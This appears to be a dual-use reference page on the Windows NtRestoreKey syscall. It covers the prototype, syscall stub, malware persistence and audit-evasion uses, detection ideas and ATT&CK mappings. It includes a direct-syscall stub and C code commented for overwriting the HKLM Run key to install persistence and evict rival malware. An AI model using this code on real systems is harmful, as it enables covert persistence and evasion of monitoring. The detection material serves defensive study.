NtRestoreKey

Prototype

NTSTATUS NtRestoreKey(
  HANDLE  KeyHandle,
  HANDLE  FileHandle,
  ULONG   Flags
);

Arguments

Syscall IDs by Windows version

Syscall stub

4C 8B D1            mov r10, rcx
B8 89 01 00 00      mov eax, 0x189
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

NtRestoreKey is the inverse of NtSaveKey: it replaces the contents of an open key with whatever is contained in a hive file. With `REG_FORCE_RESTORE` the kernel does so even when there are open handles to the destination subtree. The caller needs **SeRestorePrivilege**. The Win32 wrapper is `RegRestoreKeyW`. The operation is atomic at the hive-block level; partial failure leaves the destination in the pre-restore state.

Common malware usage

Two patterns dominate. First, **tampering with persistence**: an attacker who staged a known-good Run-key template can overwrite `HKLM\Software\Microsoft\Windows\CurrentVersion\Run` (or a service config subtree) wholesale, replacing every entry in one syscall — useful for both planting persistence *and* erasing competing entries from rival malware. Second, **rollback after tampering**: red-team tooling sometimes takes a NtSaveKey snapshot, modifies a key, performs work, and then NtRestoreKey-rolls back to defeat host-based change auditing. Less commonly, ransomware uses it to swap out service-DLL paths in bulk before reboot.

Detection opportunities

ETW `Microsoft-Windows-Kernel-Registry` emits a load/restore event distinct from value-set events. Sysmon Event 13 fires per value modified by the restore — a single NtRestoreKey can produce a *burst* of Event 13 records with identical timestamps under the same key, which is itself an unusual pattern worth a rule. SeRestorePrivilege enablement (Sysmon 4673) immediately preceding a registry write is a strong leading indicator. Hunting tip: alert on REG_FORCE_RESTORE flag usage — it is almost never seen in benign software.

Direct syscall examples

; Direct syscall stub for NtRestoreKey (SSN 0x189 on Win11 24H2 — drifts per build)
NtRestoreKey PROC
    mov  r10, rcx          ; KeyHandle
    mov  eax, 189h         ; SSN
    syscall
    ret
NtRestoreKey ENDP

// Overwrite HKLM\...\Run wholesale from a prepared hive file — useful for both
// persistence install and rival-eviction. Requires SeRestorePrivilege.
#include <windows.h>

LONG RestoreRunKey(LPCWSTR hivePath) {
    HKEY hRun = NULL;
    LONG s = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
        L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0, KEY_ALL_ACCESS, &hRun);
    if (s != ERROR_SUCCESS) return s;
    // REG_FORCE_RESTORE (8) replaces even with open handles elsewhere.
    s = RegRestoreKeyW(hRun, hivePath, 8 /* REG_FORCE_RESTORE */);
    RegCloseKey(hRun);
    return s;
}

// Snap a key handle and a hive file handle, then restore atomically.
#include <windows.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI *pNtRestoreKey)(HANDLE, HANDLE, ULONG);

NTSTATUS DoRestore(HANDLE hKey, HANDLE hFile, ULONG flags) {
    pNtRestoreKey fn = (pNtRestoreKey)GetProcAddress(
        GetModuleHandleA("ntdll.dll"), "NtRestoreKey");
    return fn(hKey, hFile, flags);
}

MITRE ATT&CK mappings

• T1112Modify Registrymitre ↗
• T1547.001Registry Run Keys / Startup Foldermitre ↗
• T1106Native APImitre ↗